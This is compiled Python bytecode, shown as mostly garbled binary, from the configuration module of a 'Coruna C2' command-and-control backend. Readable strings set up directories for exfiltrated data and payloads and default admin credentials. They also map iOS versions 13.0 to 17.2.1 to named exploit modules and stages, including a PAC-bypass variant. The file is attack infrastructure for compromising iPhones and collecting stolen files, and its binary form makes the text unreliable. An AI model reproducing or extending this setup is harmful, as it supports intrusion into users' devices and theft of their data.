+
    Dd>j                        R t ^ RIt^ RIHt ^ RIHt ]! ]4      P                  4       P                  P                  t	]P                  ! RR4      t]! ]P                  ! RR4      4      t]P                  ! RR	]	 R
24      t]P                  ! RR4      t]P                  ! RR4      t]P                  ! RR4      tRtRQt]	R,          t]	R,          t]	R,          t]	R,          R,          t]]]]3 F  t]P3                  RRR7       K  	  ]P                  ! RR4      tRRRRRR R!R"R#R$R%R&R'R(R)R(R*R+R,R-/
tR.R"R/R$R0R&R1R2R3RR4/R5RR6R R7R(R8R+R9R-R:/R;R<R=R>R?//tR@t^t^tRAt RBt!]P                  ! RCRD4      t"REt#]P                  ! RFRG4      PI                  RH4      t%RRt&. RSOt'^t(^dt)Rt*^<t+RIt,. t-Rt.^t/^t0Rt1RIt2RJt3RKt4RLt5RLt6. t7 ! RM RN4      t8]8! 4       t9RO RP lt:R# )Tu   Coruna C2 配置文件N)Path)OptionalCORUNA_HOSTz0.0.0.0CORUNA_PORT8782DATABASE_URLz
sqlite:///z/coruna_c2.db
ADMIN_USERadmin
ADMIN_PASSadmin123
SECRET_KEYz&coruna-secret-key-change-in-productionHS256exfilpayloadslogbackendstaticT)parentsexist_okCORUNA_SERVER_URLzhttp://localhost:8782z13.0buffoutz	13.0-14.xbreezyz15.0-15.1.1breezy15z	15.2-15.5jacurutuz15.6-16.1.2bluebirdz16.2-16.5.1
terrorbirdz16.3-16.5.1seedbellz16.6-16.7.12z16.6-17.2.1seedbell_prez17.0-17.2.1seedbell_17stage1ziOS 15.2-15.5ziOS 15.6-16.1.2ziOS 16.2-16.5.1	cassowaryziOS 16.6-17.2.1ziOS 13.0-15.1.1stage2ziOS 13.0-14.xziOS 15.0-16.2ziOS 16.3-16.7.12ziOS 16.6-17.2.1 (pre)ziOS 17.0-17.2.1stage3variantAzWith PAC bypassvariantBz Without PAC / different approachi,  i   i   	LOG_LEVELINFOz4%(asctime)s - %(name)s - %(levelname)s - %(message)sCORS_ORIGINS*,Fzsmtp.gmail.comiK   c                      a  ] tR t^}t o Rt]t]t]t]t]	t	]
t
]t]t]t]t]t]t]t]t]t]t]t]t]t]t]t]t]t]t]t]t]t] t ]!t!]"t"]#t#]$t$]%t%]&t&]'t'](t(])t)]*t*]+t+],t,]-t-V 3R lt.Rt/V t0R# )Configu	   配置类c                  < V ^8  d   Qh/ S[ ;R&   S[;R&   S[ ;R&   S[ ;R&   S[ ;R&   S[ ;R&   S[ ;R&   S[;R&   S[;R	&   S[;R
&   S[;R&   S[;R&   S[ ;R&   S[;R&   S[;R&   S[;R&   S[;R&   S[;R&   S[;R&   S[;R&   S[ ;R&   S[ ;R&   S[;R&   S[;R&   S[;R&   S[;R&   S[;R&   S[;R&   S[;R&   S[;R&   S[;R&   S[;R &   S[;R!&   S[;R"&   S[;R#&   S[;R$&   S[ ;R%&   S[;R&&   S[ ;R'&   S[ ;R(&   S[;R)&   # )*   HOSTPORTr   r   r
   r   	ALGORITHMACCESS_TOKEN_EXPIRE_MINUTES	EXFIL_DIRPAYLOADS_DIRLOG_DIR
STATIC_DIRr   SUPPORTED_IOS_VERSIONSEXPLOIT_STAGESTASK_TIMEOUTHEARTBEAT_INTERVALMAX_RETRY_COUNTMAX_PREVIEW_SIZEMAX_BINARY_PREVIEWr%   
LOG_FORMATr'   MAX_UPLOAD_SIZEALLOWED_FILE_TYPESWS_HEARTBEAT_INTERVALWS_MESSAGE_QUEUE_SIZERATE_LIMIT_ENABLEDRATE_LIMIT_PER_MINUTEIP_WHITELIST_ENABLEDIP_WHITELISTBACKUP_ENABLEDBACKUP_INTERVAL_HOURSBACKUP_RETENTION_DAYSMONITORING_ENABLEDALERT_EMAIL_ENABLEDALERT_EMAIL_SMTPALERT_EMAIL_PORTALERT_EMAIL_USERALERT_EMAIL_PASSWORDALERT_EMAIL_TO)strintr   dictlistbool)format__classdict__s   "3/Users/wind/Downloads/Coruna-main/backend/config.py__annotate__Config.__annotate__}   sL     	 
   $             "%B $ % & %' ( ) * !+ 0 .1 6 !97 8 )9 > $? @ 0A B *C H ,I J 0K P Q R  S X %Y ^ *_ ` 1a f 6g h 6i n 1o p 6q r 5s t %u z ){ | 6} ~ 6 D 1E F 3G H ,I J ,K L ,M N 4O P )Q      N)1__name__
__module____qualname____firstlineno____doc__r/   r0   r   r   r
   r   r1   r2   r3   r4   r5   r6   r   r7   r8   r9   r:   r;   r<   r=   r%   r>   r'   r?   r@   rA   rB   rC   rD   rE   rF   rG   rH   rI   rJ   rK   rL   rM   rN   rO   rP   __annotate_func____static_attributes____classdictcell__)rW   s   @rX   r,   r,   }   s     DD %L !J J JI'B  I%LG!J / $:)N %L0*O -0 I J &L +O1 "7!6  2!6!5%L *N!6!6  2 3,,, 4)NQ  r[   r,   c                $    V ^8  d   QhR\         /# )r.   return)r,   )rV   s   "rX   rY   rY      s      F r[   c                     \         # )u   获取配置实例)configr\   r[   rX   
get_configri      s    Mr[   i  i  @)z.jpgz.jpegz.pngz.gifz.bmpz.mp4z.movz.aviz.mkvz.mp3z.wavz.m4az.pdfz.docz.docxz.txtz.xlsz.xlsxz.zipz.rarz.7zz.plistz.dbz.sqlitez.dylibz.bin);ra   ospathlibr   typingr   __file__resolveparentPROJECT_ROOTgetenvr/   rR   r0   r   r   r
   r   r1   r2   r3   r4   r5   r6   	directorymkdirr   r7   r8   r9   r:   r;   r<   r=   r%   r>   splitr'   r?   r@   rA   rB   rC   rD   rE   rF   rG   rH   rI   rJ   rK   rL   rM   rN   rO   rP   r,   rh   ri   r\   r[   rX   <module>ru      s    	   H~%%'..55 
yy	*
299]F+, yy:l^=)QR YY|W-
YY|Z0
YY|%MN
	%  7"	j(

I%0
 \7J?IOOD4O0 @ II13JK  I::<:J>=  O%'&$ /O&/( %6,      IIk6*	C
 yy-33C8 $              #    H* H*V 
r[   